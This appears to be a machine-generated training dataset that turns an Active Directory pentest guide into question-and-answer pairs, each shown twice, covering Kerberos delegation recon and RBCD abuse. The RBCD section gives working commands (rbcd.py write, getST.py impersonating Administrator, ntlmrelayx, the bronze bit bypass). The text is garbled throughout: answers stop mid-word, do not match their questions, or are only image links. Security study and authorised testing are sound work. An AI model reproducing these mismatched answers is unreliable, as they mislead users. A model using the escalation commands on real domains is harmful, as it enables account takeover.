[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Delegations - Recon

[Assistant]
::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's findDelegation (Python) script can be used to find unconstrained, constrained (with or without protocol transition) and rbcd.

``bash
findDelegation.py "DOMAIN"/"USER":"PASSWORD"
`

At the time of writing (13th October 2021), a Pull Request is pending to feature a -user filter to list delegations for a specific account.

`bash
findDelegation.py -user "account" "DOMAIN"/"USER":"PASSWORD"
`

=== Windows

From Windows systems, BloodHound can be used to identify unconstrained and constrained delegation.

The following queries can be used to audit delegations.

`cypher
// Unconstrained Delegation
MATCH (c {unconstraineddelegation:true}) return c

// Constrained Delegation (with Protocol Transition)
MATCH (c) WHERE NOT c.allowedtodelegate IS NULL AND c.trustedtoauth=true return c

// Constrained Delegation (without Protocol Transition)
MATCH (c) WHERE NOT c.allowedtodelegate IS NULL AND c.trustedtoauth=false return c

// Resource-Based Constrained Delegation
MATCH p=(u)-[:AllowedToAct]->(c) RETURN p
`

The Powershell Active Directory module also has a cmdlet that can be used to find delegation for a specific account.

`powershell
Get-ADComputer "Account" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount
`

| Property | Delegation type |  |  |
| --- | --- | --- | --- |
| TrustedForDelegation | Unconstrained Delegation |  |  |
| TrustedToAuthForDelegation | Constrained Delegation with Protocol Transition |  |  |
| AllowedToDelegateTo | Constrained Delegation, and list of services allowed to delegate to |  |  |
| PrincipalsAllowedToDelegateToAccount (i.e. refers to the msDS-AllowedToActOnBehalfOfOtherIdentity` attribute) | RBCD, list of services that can delegate to the account |  |  |

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Delegations - Recon

Response:
::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's findDelegation (Python) script can be used to find unconstrained, constrained (with or without protocol transition) and rbcd.

``bash
findDelegation.py "DOMAIN"/"USER":"PASSWORD"
`

At the time of writing (13th October 2021), a Pull Request is pending to feature a -user filter to list delegations for a specific account.

`bash
findDelegation.py -user "account" "DOMAIN"/"USER":"PASSWORD"
`

=== Windows

From Windows systems, BloodHound can be used to identify unconstrained and constrained delegation.

The following queries can be used to audit delegations.

`cypher
// Unconstrained Delegation
MATCH (c {unconstraineddelegation:true}) return c

// Constrained Delegation (with Protocol Transition)
MATCH (c) WHERE NOT c.allowedtodelegate IS NULL AND c.trustedtoauth=true return c

// Constrained Delegation (without Protocol Transition)
MATCH (c) WHERE NOT c.allowedtodelegate IS NULL AND c.trustedtoauth=false return c

// Resource-Based Constrained Delegation
MATCH p=(u)-[:AllowedToAct]->(c) RETURN p
`

The Powershell Active Directory module also has a cmdlet that can be used to find delegation for a specific account.

`powershell
Get-ADComputer "Account" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount
`

| Property | Delegation type |  |  |
| --- | --- | --- | --- |
| TrustedForDelegation | Unconstrained Delegation |  |  |
| TrustedToAuthForDelegation | Constrained Delegation with Protocol Transition |  |  |
| AllowedToDelegateTo | Constrained Delegation, and list of services allowed to delegate to |  |  |
| PrincipalsAllowedToDelegateToAccount (i.e. refers to the msDS-AllowedToActOnBehalfOfOtherIdentity` attribute) | RBCD, list of services that can delegate to the account |  |  |

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the findDelegation.py syntax for delegations - recon?

[Assistant] findDelegation.py "DOMAIN"/"USER":"PASSWORD"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the findDelegation.py syntax for delegations - recon?

Response: findDelegation.py "DOMAIN"/"USER":"PASSWORD"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Delegations - Recon

[Assistant] findDelegation.py "DOMAIN"/"USER":"PASSWORD"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: findDelegation.py "DOMAIN"/"USER":"PASSWORD"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `findDelegation.py "DOMAIN"/"USER":"PASSWORD"`?

[Assistant] This command is used for delegations - recon. Recon

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `findDelegation.py "DOMAIN"/"USER":"PASSWORD"`?

Response: This command is used for delegations - recon. Recon


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the findDelegation.py command for delegations - recon

[Assistant] findDelegation.py -user "account" "DOMAIN"/"USER":"PASSWORD"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the findDelegation.py command for delegations - recon

Response: findDelegation.py -user "account" "DOMAIN"/"USER":"PASSWORD"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Delegations - Recon?

[Assistant] findDelegation.py -user "account" "DOMAIN"/"USER":"PASSWORD"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: findDelegation.py -user "account" "DOMAIN"/"USER":"PASSWORD"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `findDelegation.py -user "account" "DOMAIN"/"USER":"PASSWORD"`?

[Assistant] This command is used for delegations - recon. Recon

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `findDelegation.py -user "account" "DOMAIN"/"USER":"PASSWORD"`?

Response: This command is used for delegations - recon. Recon


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Delegations - Recon

[Assistant]
// Unconstrained Delegation
MATCH (c {unconstraineddelegation:true}) return c

// Constrained Delegation (with Protocol Transition)
MATCH (c) WHERE NOT c.allowedtodelegate IS NULL AND c.trustedtoauth=true return c

// Constrained Delegation (without Protocol Transition)
MATCH (c) WHERE NOT c.allowedtodelegate IS NULL AND c.trustedtoauth=false return c

// Resource-Based Constrained Delegation
MATCH p=(u)-[:AllowedToAct]->(c) RETURN p

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
// Unconstrained Delegation
MATCH (c {unconstraineddelegation:true}) return c

// Constrained Delegation (with Protocol Transition)
MATCH (c) WHERE NOT c.allowedtodelegate IS NULL AND c.trustedtoauth=true return c

// Constrained Delegation (without Protocol Transition)
MATCH (c) WHERE NOT c.allowedtodelegate IS NULL AND c.trustedtoauth=false return c

// Resource-Based Constrained Delegation
MATCH p=(u)-[:AllowedToAct]->(c) RETURN p


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `// Unconstrained Delegation`?

[Assistant] This command is used for delegations - recon. Recon

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `// Unconstrained Delegation`?

Response: This command is used for delegations - recon. Recon


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the Get-ADComputer command for delegations - recon

[Assistant] Get-ADComputer "Account" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the Get-ADComputer command for delegations - recon

Response: Get-ADComputer "Account" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Delegations - Recon?

[Assistant] Get-ADComputer "Account" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Delegations - Recon?

Response: Get-ADComputer "Account" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Get-ADComputer "Account" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount`?

[Assistant] This command is used for delegations - recon. Recon

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Get-ADComputer "Account" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount`?

Response: This command is used for delegations - recon. Recon


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Delegations - Unconstrained delegations (KUD)

[Assistant]
> [!TIP]
> Read the (KUD) Unconstrained article for more insight

![](<assets/KUD mindmap.png>)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Delegations - Unconstrained delegations (KUD)

Response:
> [!TIP]
> Read the (KUD) Unconstrained article for more insight

![](<assets/KUD mindmap.png>)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Delegations - Unconstrained delegations (KUD)

[Assistant]
> [!TIP]
> Read the (KUD) Unconstrained article for more insight

![](<assets/KUD mindmap.png>)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Delegations - Unconstrained delegations (KUD)

Response:
> [!TIP]
> Read the (KUD) Unconstrained article for more insight

![](<assets/KUD mindmap.png>)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Delegations - Constrained delegations (KCD)?

[Assistant]
> [!TIP]
> Read the (KCD) Constrained article for more insight

![](<assets/KCD mindmap.png>)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Delegations - Constrained delegations (KCD)?

Response:
> [!TIP]
> Read the (KCD) Constrained article for more insight

![](<assets/KCD mindmap.png>)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Delegations - Constrained delegations (KCD)

[Assistant]
> [!TIP]
> Read the (KCD) Constrained article for more insight

![](<assets/KCD mindmap.png>)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Delegations - Constrained delegations (KCD)

Response:
> [!TIP]
> Read the (KCD) Constrained article for more insight

![](<assets/KCD mindmap.png>)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Delegations - Resource-Based Constrained Delegations (RBCD)?

[Assistant]
> [!TIP]
> Read the RBCD article for more insight

![](<assets/RBCD mindmap.png>)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Delegations - Resource-Based Constrained Delegations (RBCD)?

Response:
> [!TIP]
> Read the RBCD article for more insight

![](<assets/RBCD mindmap.png>)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Delegations - Resource-Based Constrained Delegations (RBCD)?

[Assistant]
> [!TIP]
> Read the RBCD article for more insight

![](<assets/RBCD mindmap.png>)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Delegations - Resource-Based Constrained Delegations (RBCD)?

Response:
> [!TIP]
> Read the RBCD article for more insight

![](<assets/RBCD mindmap.png>)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Delegations - Talk :microphone:

[Assistant]
> [!YOUTUBE] https://www.youtube.com/watch?v=byykEId3FUs

https://docs.google.com/presentation/d/1rAl-XKrkuFjCpExHBGrp5L8ZwtuFFrOygZMapxMp28I/edit?usp=sharing

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Delegations - Talk :microphone:

Response:
> [!YOUTUBE] https://www.youtube.com/watch?v=byykEId3FUs

https://docs.google.com/presentation/d/1rAl-XKrkuFjCpExHBGrp5L8ZwtuFFrOygZMapxMp28I/edit?usp=sharing


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Delegations - Talk :microphone:?

[Assistant]
> [!YOUTUBE] https://www.youtube.com/watch?v=byykEId3FUs

https://docs.google.com/presentation/d/1rAl-XKrkuFjCpExHBGrp5L8ZwtuFFrOygZMapxMp28I/edit?usp=sharing

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Delegations - Talk :microphone:?

Response:
> [!YOUTUBE] https://www.youtube.com/watch?v=byykEId3FUs

https://docs.google.com/presentation/d/1rAl-XKrkuFjCpExHBGrp5L8ZwtuFFrOygZMapxMp28I/edit?usp=sharing


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain (RBCD) Resource-based constrained - Theory

[Assistant]
If an account, having the capability to edit the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another object (e.g. the GenericWrite ACE, see Abusing ACLs), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.

> [!TIP]
> Machine accounts can edit their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, hence allowing RBCD attacks on relayed machine accounts authentications.

For this attack to work, the attacker needs to populate the target attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account must be either (see Kerberos tickets for more information about the following):

* a user account having a ServicePrincipalName set
* an account with a trailing $ in the sAMAccountName (i.e. a computer accounts)
* any other account and conduct SPN-less RBCD with U2U (User-to-User) authentication

The common way to conduct these attacks is to create a computer account. This is usually possible thanks to a domain-level attribute called MachineAccountQuota that allows regular users to create up to 10 computer accounts.

> [!TIP]
> In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. The technique is demonstrated later on in this page (RBCD on SPN-less user).

Then, in order to abuse this, the attacker has to control the account (A) the target object's (B) attribute has been populated with. Using that account's (A) credentials, the attacker can obtain a ticket through S4U2Self and S4U2Proxy requests, just like constrained delegation with protocol transition.

In the end, an RBCD abuse results in a Service Tic

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain (RBCD) Resource-based constrained - Theory

Response:
If an account, having the capability to edit the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another object (e.g. the GenericWrite ACE, see Abusing ACLs), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.

> [!TIP]
> Machine accounts can edit their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, hence allowing RBCD attacks on relayed machine accounts authentications.

For this attack to work, the attacker needs to populate the target attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account must be either (see Kerberos tickets for more information about the following):

* a user account having a ServicePrincipalName set
* an account with a trailing $ in the sAMAccountName (i.e. a computer accounts)
* any other account and conduct SPN-less RBCD with U2U (User-to-User) authentication

The common way to conduct these attacks is to create a computer account. This is usually possible thanks to a domain-level attribute called MachineAccountQuota that allows regular users to create up to 10 computer accounts.

> [!TIP]
> In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. The technique is demonstrated later on in this page (RBCD on SPN-less user).

Then, in order to abuse this, the attacker has to control the account (A) the target object's (B) attribute has been populated with. Using that account's (A) credentials, the attacker can obtain a ticket through S4U2Self and S4U2Proxy requests, just like constrained delegation with protocol transition.

In the end, an RBCD abuse results in a Service Tic


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out (RBCD) Resource-based constrained - Theory during a pentest?

[Assistant]
If an account, having the capability to edit the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another object (e.g. the GenericWrite ACE, see Abusing ACLs), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.

> [!TIP]
> Machine accounts can edit their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, hence allowing RBCD attacks on relayed machine accounts authentications.

For this attack to work, the attacker needs to populate the target attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account must be either (see Kerberos tickets for more information about the following):

* a user account having a ServicePrincipalName set
* an account with a trailing $ in the sAMAccountName (i.e. a computer accounts)
* any other account and conduct SPN-less RBCD with U2U (User-to-User) authentication

The common way to conduct these attacks is to create a computer account. This is usually possible thanks to a domain-level attribute called MachineAccountQuota that allows regular users to create up to 10 computer accounts.

> [!TIP]
> In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. The technique is demonstrated later on in this page (RBCD on SPN-less user).

Then, in order to abuse this, the attacker has to control the account (A) the target object's (B) attribute has been populated with. Using that account's (A) credentials, the attacker can obtain a ticket through S4U2Self and S4U2Proxy requests, just like constrained delegation with protocol transition.

In the end, an RBCD abuse results in a Service Tic

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out (RBCD) Resource-based constrained - Theory during a pentest?

Response:
If an account, having the capability to edit the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another object (e.g. the GenericWrite ACE, see Abusing ACLs), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.

> [!TIP]
> Machine accounts can edit their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, hence allowing RBCD attacks on relayed machine accounts authentications.

For this attack to work, the attacker needs to populate the target attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account must be either (see Kerberos tickets for more information about the following):

* a user account having a ServicePrincipalName set
* an account with a trailing $ in the sAMAccountName (i.e. a computer accounts)
* any other account and conduct SPN-less RBCD with U2U (User-to-User) authentication

The common way to conduct these attacks is to create a computer account. This is usually possible thanks to a domain-level attribute called MachineAccountQuota that allows regular users to create up to 10 computer accounts.

> [!TIP]
> In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. The technique is demonstrated later on in this page (RBCD on SPN-less user).

Then, in order to abuse this, the attacker has to control the account (A) the target object's (B) attribute has been populated with. Using that account's (A) credentials, the attacker can obtain a ticket through S4U2Self and S4U2Proxy requests, just like constrained delegation with protocol transition.

In the end, an RBCD abuse results in a Service Tic


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe (RBCD) Resource-based constrained - Practice in the context of penetration testing

[Assistant]
::: tabs

=== UNIX-like

Step 1: edit the target's "rbcd" attribute (DACL abuse) :pencil2:

Impacket's rbcd.py script (Python) can be used to read, write or clear the delegation rights, using the credentials of a domain user that has the needed permissions.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe (RBCD) Resource-based constrained - Practice in the context of penetration testing

Response:
::: tabs

=== UNIX-like

Step 1: edit the target's "rbcd" attribute (DACL abuse) :pencil2:

Impacket's rbcd.py script (Python) can be used to read, write or clear the delegation rights, using the credentials of a domain user that has the needed permissions.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do (RBCD) Resource-based constrained - Practice

[Assistant]
::: tabs

=== UNIX-like

Step 1: edit the target's "rbcd" attribute (DACL abuse) :pencil2:

Impacket's rbcd.py script (Python) can be used to read, write or clear the delegation rights, using the credentials of a domain user that has the needed permissions.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do (RBCD) Resource-based constrained - Practice

Response:
::: tabs

=== UNIX-like

Step 1: edit the target's "rbcd" attribute (DACL abuse) :pencil2:

Impacket's rbcd.py script (Python) can be used to read, write or clear the delegation rights, using the credentials of a domain user that has the needed permissions.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Read the attribute

[Assistant] rbcd.py -delegate-to 'target$' -dc-ip 'DomainController' -action 'read' 'domain'/'PowerfulUser':'Password'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: rbcd.py -delegate-to 'target$' -dc-ip 'DomainController' -action 'read' 'domain'/'PowerfulUser':'Password'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Read the attribute

[Assistant] rbcd.py -delegate-to 'target$' -dc-ip 'DomainController' -action 'read' 'domain'/'PowerfulUser':'Password'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: rbcd.py -delegate-to 'target$' -dc-ip 'DomainController' -action 'read' 'domain'/'PowerfulUser':'Password'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity in the context of penetration testing

[Assistant]
rbcd.py -delegate-from 'controlledaccount' -delegate-to 'target$' -dc-ip 'DomainController' -action 'write' 'domain'/'PowerfulUser':'Password'
``

> [!SUCCESS]
> Testers can also use ntlmrelayx to set the delegation rights with the --delegate-access option when conducting this attack from a relayed authentication.

> [!TIP]
> In this example, controlledaccount can be a computer account created for the attack, or any other account -with at least one Service Principal Name set for the usual technique, or without for SPN-less RBCD- which credentials are known to the attacker.

---
Step 2: obtain a ticket (delegation operation) :ticket:

Once the attribute has been modified, the Impacket script getST (Python) can then perform all the necessary steps to obtain the final "impersonating" ST (in this case, "Administrator" is impersonated but it can be any user in the environment).

`bash
getST.py -spn 'cifs/target' -impersonate Administrator -dc-ip 'DomainController' 'domain/controlledaccountwithSPN:SomePassword'
`

> [!CAUTION]
> In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the -force-forwardable option to try to bypass restrictions.

> [!TIP]
> The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more service. This technique is automatically tried by Impacket scripts when doing pass-the-ticket.

---
Step 3: Pass-the-ticket :passport_control:

Once the ticket is obtained, it can be used with pass-the-ticket.

=== Windows

In order to run the following commands and tools as other users, testers can check the user impersonation part.

Step 1: edit the target's "rbcd" attribute (DACL abuse) :pencil2:

The PowerShell ActiveDirectory module's cmdlets Se

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity in the context of penetration testing

Response:
rbcd.py -delegate-from 'controlledaccount' -delegate-to 'target$' -dc-ip 'DomainController' -action 'write' 'domain'/'PowerfulUser':'Password'
``

> [!SUCCESS]
> Testers can also use ntlmrelayx to set the delegation rights with the --delegate-access option when conducting this attack from a relayed authentication.

> [!TIP]
> In this example, controlledaccount can be a computer account created for the attack, or any other account -with at least one Service Principal Name set for the usual technique, or without for SPN-less RBCD- which credentials are known to the attacker.

---
Step 2: obtain a ticket (delegation operation) :ticket:

Once the attribute has been modified, the Impacket script getST (Python) can then perform all the necessary steps to obtain the final "impersonating" ST (in this case, "Administrator" is impersonated but it can be any user in the environment).

`bash
getST.py -spn 'cifs/target' -impersonate Administrator -dc-ip 'DomainController' 'domain/controlledaccountwithSPN:SomePassword'
`

> [!CAUTION]
> In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the -force-forwardable option to try to bypass restrictions.

> [!TIP]
> The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more service. This technique is automatically tried by Impacket scripts when doing pass-the-ticket.

---
Step 3: Pass-the-ticket :passport_control:

Once the ticket is obtained, it can be used with pass-the-ticket.

=== Windows

In order to run the following commands and tools as other users, testers can check the user impersonation part.

Step 1: edit the target's "rbcd" attribute (DACL abuse) :pencil2:

The PowerShell ActiveDirectory module's cmdlets Se


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity?

[Assistant]
rbcd.py -delegate-from 'controlledaccount' -delegate-to 'target$' -dc-ip 'DomainController' -action 'write' 'domain'/'PowerfulUser':'Password'
``

> [!SUCCESS]
> Testers can also use ntlmrelayx to set the delegation rights with the --delegate-access option when conducting this attack from a relayed authentication.

> [!TIP]
> In this example, controlledaccount can be a computer account created for the attack, or any other account -with at least one Service Principal Name set for the usual technique, or without for SPN-less RBCD- which credentials are known to the attacker.

---
Step 2: obtain a ticket (delegation operation) :ticket:

Once the attribute has been modified, the Impacket script getST (Python) can then perform all the necessary steps to obtain the final "impersonating" ST (in this case, "Administrator" is impersonated but it can be any user in the environment).

`bash
getST.py -spn 'cifs/target' -impersonate Administrator -dc-ip 'DomainController' 'domain/controlledaccountwithSPN:SomePassword'
`

> [!CAUTION]
> In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the -force-forwardable option to try to bypass restrictions.

> [!TIP]
